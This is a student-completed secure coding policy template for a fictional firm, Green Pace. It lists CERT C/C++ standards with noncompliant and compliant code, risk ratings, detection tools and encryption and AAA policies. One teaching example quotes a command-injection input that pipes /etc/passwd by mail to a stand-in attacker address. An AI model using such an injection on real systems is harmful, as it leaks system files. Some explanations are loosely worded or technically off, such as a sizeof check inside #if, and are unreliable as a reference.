**Green Pace Developer: Security Policy Guide Template**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Programmers should always assume that input data from an untrusted source is malicious. To prevent attacks such as SQL injection, input validation should be implemented from the beginning. In other words, when writing the code to accept input, include programming security techniques to prevent attacks. These techniques include the following: constrain input; validate for type, length, format, and range; reject known bad input; and sanitize input. |
| 1. Heed Compiler Warnings | Compiler warnings are valuable early bug detection tools. The compiler searches all the errors of a program and lists them in text form in the terminal or command line. Programmers can clear compiler warnings by modifying the code at or near the line where an issue was detected. While compiler warnings can be ignored, not addressing the detected errors can come with significant costs to fix them later. |
| 1. Architect and Design for Security Policies | A strong security architecture minimizes the number of security breaches that may occur. Security must be built into the design, implementation, and management of software systems. |
| 1. Keep It Simple | When writing programs, it’s best to avoid unnecessary complexity. Develop software as simple and small as possible to avoid bugs and mistakes. Performance should also be taken into consideration to be sure not to consume too much memory or execution time. |
| 1. Default Deny | By default, a user’s access to certain resources should be denied. Some ways of implementing this security principle are by using access control lists (ACLs) or by user-based access control (RBAC). ACLs are basically lists of permissions associated with certain resources. Either method determines whether a user has authorization to access a resource or not. |
| 1. Adhere to the Principle of Least Privilege | The principle of least privilege (POLP) states that a user should have access to only the resources they need to perform their job. The user’s permissions should be revoked as soon as they are no longer needed. POLP prevents unauthorized users from accessing sensitive data and reduces the risk of security vulnerabilities. |
| 1. Sanitize Data Sent to Other Systems | To sanitize data sent to other systems means to remove or modify any piece of code that could be used to exploit a security vulnerability such as user input. This can be achieved in a few different ways: filtering out characters that could be used to inject malicious code; validating data to ensure no unexpected characters exist; and encoding or converting data into a format that is difficult to exploit. |
| 1. Practice Defense in Depth | Defense in depth is a security strategy that uses multiple layers of security to defend against attacks. The multiple security layers involve preventing buffer overflows/underflows, sanitizing user input, validating user input, and sanitizing data. Defense in depth also involves security controls such as firewalls and access control lists. It is also beneficial to educate users about how to prevent attacks such as malware and phishing. |
| 1. Use Effective Quality Assurance Techniques | Quality assurance techniques include unit testing, integration testing, system testing, and acceptance testing. Unit, or component, testing involves testing the smallest testable parts of an application such as functions and classes. Integration testing involves testing two or more combined units. System testing involves testing how all components of an application interact altogether. Acceptance testing determines if the user’s business goals are met after they test the system. |
| 1. Adopt a Secure Coding Standard | Adopting a secure coding standard means to define and follow a set of guidelines that will make code more secure. There are various C++ coding standards available including: the SEI CERT C++ Coding Standard; the MISRA C++ Guidelines; the AUTOSAR C++ Coding Guidelines; and the JSF A V C++ Coding standard. Each standard aligns with the needs and preferences for a particular environment. |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Type** | DCL-012-C | Abstract data types are most effective when used with private data types and information hiding. |

| **Noncompliant Code** |
| --- |
| The implementation of the string\_mx type is fully visible to the user of the data type after including the string\_m.h file. This is a violation of the software engineering principles of information hiding and data encapsulation, resulting in a higher probability of developing low quality code.  **struct** string\_mx {  **size\_t** size;  **size\_t** maxsize;  unsigned **char** strtype;  **char** \*cstr;  };  **typedef struct** string\_mx string\_mx;  /\* Function declarations \*/  **extern** errno\_t strcpy\_m(string\_mx \*s1, **const** string\_mx \*s2);  **extern** errno\_t strcat\_m(string\_mx \*s1, **const** string\_mx \*s2);  /\* … \*/ |

| **Compliant Code** |
| --- |
| The structure is fully defined within an internal header file that is not visible to a user. In the external header file, the string\_mx type is defined to be an instance of 0.  Internal Header File:  **struct** string\_mx {  **size\_t** size;  **size\_t** maxsize;  unsigned **char** strtype;  **char** \*cstr;  };  External string\_m.h File:  **struct** string\_mx;  **typedef struc**t string\_mx string\_mx;  /\* Function declarations \*/  **extern** errno\_t strcpy\_m(string\_mx \*s1, **const** string\_mx \*s2);  **extern** errno\_t strcat\_m(string\_mx \*s1, **const** string\_mx \*s2);  /\* … \*/ |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Architect and Design for Security Policies – enforces proper data typing, ensuring that variables are appropriately defined and used to prevent vulnerabilities such as data type mismatches. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | P1 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C: Rec. DCL12-C | Checks for structure or union object implementation visible in file where pointer to this object is not dereferenced (rule partially covered) |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_C-DCL12-a | If a pointer to a structure or union is never dereferenced within a translation unit, then the implementation of the object should be hidden |

#### Coding Standard 2

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Value** | STR-050-CPP | Guarantee that storage for strings has sufficient space for character data and the null terminator. |

| **Noncompliant Code** |
| --- |
| Here, the first read will not overflow, but bufOne could be passed a truncated string. The second read can potentially overflow bufTwo.  #include <iostream>  **void** f() {  **char** bufOne[12];  **char** bufTwo[12];  std::cin.width(12);  std::cin >> bufOne;  std::cin >> bufTwo;  } |

| **Compliant Code** |
| --- |
| The best solution for ensuring that data is not truncated and for preventing buffer overflows is to use std::string instead of a bounded array. |
| #include <iostream>  #include <string>  **void** f() {  std::string input;  std::string stringOne, stringTwo;  std::cin >> stringOne >> stringTwo;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Validate Input Data; Keep it Simple – emphasizes the importance of validating input data to ensure that it meets the expected format, range, or constraints. This minimizes the risk of string format vulnerabilities. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 22.10 | stream-input-char-array | Partially checked + soundly supported |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | MISC.MEM.NTERM  LANG.MEM.BO  LANG.MEM.TO | No space for null terminator  Buffer overruns  Type overruns |

#### Coding Standard 3

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **String Correctness** | STR-052-CPP | Use valid references, pointers, and iterators to reference elements of a basic string. |

| **Noncompliant Code** |
| --- |
| Here, data is invalidated after a call to replace(), and so its use in g() is undefined behavior.  #include <iostream>  #include <string>  **extern void** g(const char \*);  **void** f(std::string &exampleString) {  **const char** \*data = exampleString.data();  // …  exampleString.replace(0, 2, “bb”);  // …  g(data);  } |

| **Compliant Code** |
| --- |
| Here, the pointer to exampleString’s internal buffer is not generated until after the modification from replace() has completed. |
| #include <iostream>  #include <string>  **extern void** g(**const** **char** \*);  **void** f(std::string &exampleString) {  // …  exampleString.replace(0, 2, “bb”);  // …  g(exampleString.data());  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Keep it Simple – highlights the importance of simplicity and clarity in string handling. This prevents string format vulnerabilities, buffer overflows, or injection attacks. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | High | P6 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_CPP-STR52-a | Use valid references, pointers, and iterators to reference elements of a basic\_string |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C++: STR52-CPP | Checks for use of invalid string iterator (rule partially covered) |

#### Coding Standard 4

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **SQL Injection** | STR-002-C | String data passed into a system may contain special characters that can trigger commands or actions, resulting in a vulnerability. It is necessary to sanitize all string data. |

| **Noncompliant Code** |
| --- |
| Here is an example of an application that inputs an email address to a buffer and then uses this string as an argument in a call to system(). |
| **sprintf**(buffer, “/bin/mail %s < /tmp/email”, addr);  **system**(buffer);  Malicious User Input:  bogus@addr.com; cat /etc/passwd | mail some@badguy.net |

| **Compliant Code** |
| --- |
| Define a list of acceptable characters and remove any character that is not acceptable. |
| **static char** ok\_chars[] = “abcdefghijklmnopqrstuvwxyz”  “ABCDEFGHIJKLMNOPQRSTUVWXYZ”  “123456789\_-.@”;  **char** user\_data[] = “Bad char 1:} Bad char 2:{“;  **char** \*cp = user\_data; /\* Cursor into string \*/  **const char** \*end = user\_data + strlen(user\_data);  **for** (cp += strspn(cp, ok\_chars); cp != end; cp += strspn(cp, ok\_chars)){  \*cp = ‘\_’;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Keep it Simple; Default Deny – highlights the importance of simplicity and clarity in string handling. The default deny practice promotes the use of parameterized queries and prepared statements, which minimizes the risk of SQL injection vulnerabilities. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | IO.INJ.COMMAND  IO.INJ.FMT  IO.INJ.LDAP  IO.INJ.LIB  IO.UT.LIB  IO.UT.PROC | Command injection  Format string injection  LDAP injection  Library injection  SQL injection  Untrusted Library Load  Untrusted Process Creation |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_C-STR02-a  CERT\_C-STR02-b  CERT\_C-STR02-c | Protect against command injection  Protect against file name injection  Protect against SQL injection |

#### Coding Standard 5

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | MEM-052-CPP | Detect and handle memory allocation errors. When using the nonthrowing memory allocation form, ::operator new(std::size\_t, const std::nothrow\_t &), check that the return value is not nullptr before accessing the resulting pointer. |

| **Noncompliant Code** |
| --- |
| An array of int is created using ::operator new[](std::size\_t) and the results of the allocation are not checked. This can throw an exception, but the caller assumes this function does not throw any exceptions because the keyword noexcept is used, leading to abnormal termination of the program. |
| #include <cstring>  **void** f(**const** **int** \*array, std::**size\_t** size) noexcept {  **int** \*copy = **new** int[size];  std::**memcpy**(copy, array, size \* **sizeof**(\*copy));  // …  **delete** [] copy;  } |

| **Compliant Code** |
| --- |
| When using std::nothrow, the new operator returns either a null pointer or a pointer to the allocated space. |
| #include <cstring>  #include <new>    **void** f(**const** **int** \*array, std::**size\_t** size) noexcept {  **int** \*copy = **new** (std::**nothrow**) **int**[size];  **if** (!copy) {  // Handle error  **return**;  }  std::**memcpy**(copy, array, size \* **sizeof**(\*copy));  // ...  **delete** [] copy;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Heed Compiler Warnings – highlights potential vulnerabilities such as unchecked memory operations. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 7.5 | CHECKED\_RETURN | Finds inconsistencies in how function call return values are handled |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_CPP: MEM52-a  CERT\_CPP: MEM52-b | Check the return value of new.  Do not allocate resources in function argument list because this order of evaluation of a function’s parameter is undefined |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C++: MEM52-CPP | Checks for unprotected dynamic memory allocation (rule partially implemented) |

#### Coding Standard 6

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Assertions** | DCL-003-C | Assertions are used for finding and eliminating software defects that may result in vulnerabilities. |

| **Noncompliant Code** |
| --- |
| This code uses assert() to assert a property concerning a memory-mapped structure that is needed for the code to behave correctly. |
| #include <assert.h>    **struct** timer {  unsigned **char** MODE;  unsigned **int** DATA;  unsigned **int** COUNT;  };    **int** func(void) {  **assert**(**sizeof**(**struct** timer) == **sizeof**(unsigned **char**) + **sizeof**(unsigned **int**) + **sizeof**(unsigned **int**));  } |

| **Compliant Code** |
| --- |
| Using #error directives allows for clear diagnostic messages. |
| struct timer {  unsigned **char** MODE;  unsigned **int** DATA;  unsigned **int** COUNT;  };    #if (sizeof(struct timer) != (sizeof(unsigned char) + sizeof(unsigned int) + sizeof(unsigned int)))  #error "Structure must not have any padding"  #endif |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Practice Defense in Depth – emphasizes the use of defense programming techniques such as assertions to validate assumptions and detect programming errors early. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | P1 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/c/Clang) | 3.9 | Misc-static-assert | Checked by clang-tidy |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | (Customization) | Users can implement a custom check that reports uses of the assert() macro |

#### Coding Standard 7

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Exceptions** | ERR-051-CPP | Handle all exceptions. Whenever an exception is thrown, control is transferred to the nearest handler with a type that matches the type of exception thrown. |

| **Noncompliant Code** |
| --- |
| In this code, neither f() nor main() catch exceptions thrown by throwing\_func(). |
| **void** throwing\_func() noexcept(**false**);    **void** f() {  throwing\_func();  }    **int** main() {  f();  } |

| **Compliant Code** |
| --- |
| In this code, the main entry point handles all exceptions using try/catch statements. |
| **void** throwing\_func() noexcept(**false**);    **void** f() {  throwing\_func();  }    **int** main() {  **try** {  f();  } **catch** (...) {  // Handle error  }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Use Effective Quality Assurance Techniques – emphasizes the importance of utilizing proper exception handling. This ensures that errors and exceptional conditions are handled securely and gracefully, preventing vulnerabilities and unintended system behavior. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_CPP-ERR51-a  CERT\_CPP-ERR51-b | Always catch exceptions.  Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point |

#### Coding Standard 8

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Management** | MEM-050-CPP | Do not access memory that has been freed. |

| **Noncompliant Code** |
| --- |
| If the code below results in a write-after-free, the vulnerability can be exploited to run arbitrary code with the permissions of the vulnerable process. |
| #include <new>    **struct** S {  **void** f();  };    **void** g() noexcept(**false**) {  S \*s = **new** S;  // ...  **delete** s;  // ...  s->f();  } |

| **Compliant Code** |
| --- |
| The dynamically allocated memory is not deallocated until it is no longer required. |
| #include <new>    **struct** S {  **void** f();  };    **void** g() noexcept(**false**) {  S \*s = **new** S;  // ...  s->f();  **delete** s;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Adhere to the Principle of Least Privilege; Heed Compiler Warnings – emphasizes the importance of properly managing memory resources, such as allocating/deallocating memory in a secure and controlled manner. Compiler warnings minimize the risk of memory-related vulnerabilities. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/c/Clang) | 3.9 | clang-analyzer-cplusplus.NewDelete  clang-analyzer-alpha.security.ArrayBoundV2 | Checked by clang-tidy, but does not catch all violations of this rule |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | V7.5.0 | USE\_AFTER\_FREE | Can detect the specific instances where memory is deallocated more than once or read/written to the target of a freed pointer |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C++: MEM50-CPP | Checks for:   * Pointer access out of bounds * Deallocation of previously deallocated pointer * Use of previously freed pointer |

#### Coding Standard 9

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Object Oriented Programming** | OOP-052-CPP | Do not delete an object of derived class type through a pointer to its base class type that has a non-virtual destructor. |

| **Noncompliant Code** |
| --- |
| In the code below, the implicitly declared destructor is not declared as virtual even in the presence of other virtual functions. Note that the same problem can occur with smart pointers. |
| **struct** Base {  **virtual void** f();  };    **struct** Derived : Base {};    **void** f() {  Base \*b = **new** Derived();  // ...  **delete** b;  } |

| **Compliant Code** |
| --- |
| The destructor of Base has an explicitly declared virtual destructor, ensuring that the polymorphic delete operation behaves as expected. |
| **struct** Base {  **virtual** ~Base() = **default**;  **virtual** **void** f();  };    **struct** Derived : Base {};    **void** f() {  Base \*b = **new** Derived();  // ...  **delete** b;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Sanitize Data Sent to Other Systems – highlights the significance of properly sanitizing and validating data before transmitting it to other systems or components. This principle ensures that only valid and expected values are sent. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Likely | Low | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_CPP-OOP52-a | Define a virtual destructor in classes used as base classes which have virtual functions |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C++: OOP52-CPP | Checks for situations when a class has virtual functions but not a virtual destructor (rule partially covered) |

#### Coding Standard 10

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Buffer Overflow** | CTR-052-CPP | Copying data into a container that is not large enough to hold that data results in a buffer overflow. |

| **Noncompliant Code** |
| --- |
| Here, a vector of integers is copied from src to dest using std::copy(), but std::copy() does nothing to expand the dest vector, resulting in a buffer overflow. |
| #include <algorithm>  #include <vector>    **void** f(**const** std::vector<**int**> &src) {  std::vector<**int**> dest;  std::copy(src.begin(), src.end(), dest.begin());  // ...  } |

| **Compliant Code** |
| --- |
| The proper way to use std::copy() is to ensure the destination container can hold all the elements being copied into it. |
| #include <algorithm>  #include <vector>  **void** f(**const** std::vector<**int**> &src) {  // Initialize dest with src.size() default-inserted elements  std::vector<**int**> dest(src.size());  std::copy(src.begin(), src.end(), dest.begin());  // ...  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Keep it Simple; Adopt a Secure Coding Standard – highlights the importance of simplicity and clarity in string handling. Adopting a secure coding standard provides guidelines and best practices to prevent buffer overflows. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | BADFUNC.BO.\*  LANG.MEM.BO  LANG.MEM.TBA | A collection of warning classes that report uses of library functions prone to internal buffer overflows. Buffer Overrun Tainted Buffer Access |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_CPP-CTR52-a | Do not pass empty container iterators to std algorithms as destinations |

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

Automating the DevSecOps process involves incorporating static code analysis tools during development and configuring policy-based checks within the CI/CD pipeline. Code changes are analyzed using pre-commit hooks or pre-build checks, while vulnerability scanning tools identify known vulnerabilities. Infrastructure as Code (IaC) ensures compliance with standards, and security monitoring tools provide continuous oversight of software and infrastructure. Effective communication channels facilitate timely resolution of violations and incidents. The automation of DevSecOps enhances compliance, minimizes errors, and enables early detection of vulnerabilities in the software development lifecycle.

### Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| DCL-012-C | Low | Unlikely | High | P1 | L3 |
| STR-050-CPP | High | Likely | Medium | P18 | L1 |
| STR-052-CPP | High | Probable | High | P6 | L2 |
| STR-002-C | High | Likely | Medium | P18 | L1 |
| MEM-052-CPP | High | Likely | Medium | P18 | L1 |
| DCL-003-C | Low | Unlikely | High | P1 | L3 |
| ERR-051-CPP | Low | Probable | Medium | P4 | L3 |
| MEM-050-CPP | High | Likely | Medium | P18 | L1 |
| OOP-052-CPP | Low | Likely | Low | P9 | L2 |
| CTR-052-CPP | High | Likely | Medium | P18 | L1 |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption in rest | Refers to the practice of safeguarding data while it is stored or at rest within a system or storage medium such as a flash drive. Data is converted into an unreadable format using cryptographic algorithms and keys. This ensures that an unauthorized individual will not be able to utilize the data without the corresponding decryption keys. |
| Encryption at flight | Refers to the practice of securing data while it is being transmitted between systems or networks. Encryption algorithms are used to encode data as it is being transmitted. Encryption in flight, or in transit, protects sensitive information from unauthorized access or eavesdropping. |
| Encryption in use | Refers to the practice of protecting sensitive data while it is actively being processed or used by an application or system. Encryption at use typically involves utilizing encryption algorithms and keys to transform the data into an unreadable form that can only be accessed or decrypted by authorized parties. By employing encryption at use, Green Pace can ensure that sensitive information remains protected throughout its lifecycle, from storage and transmission to active usage, mitigating the risks associated with data breaches or unauthorized access. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Refers to the verification of a person or entity that is attempting to access a system or resource. This core element ensures that only authorized users can gain access to protected resources. |
| Authorization | Refers to the determination of what actions an authenticated user can perform within a system. These actions are based on the access rights, permissions, and privileges of the user’s role. Green Pace can enforce restrictions and limit access to sensitive data. |
| Accounting | Refers to the tracking and recording or user activities within a system. Information based on user action is collected and stored. This type of data includes login/logout times, file access, or other relevant events. This provides Green Pace with a trail of all user activities. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

### Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |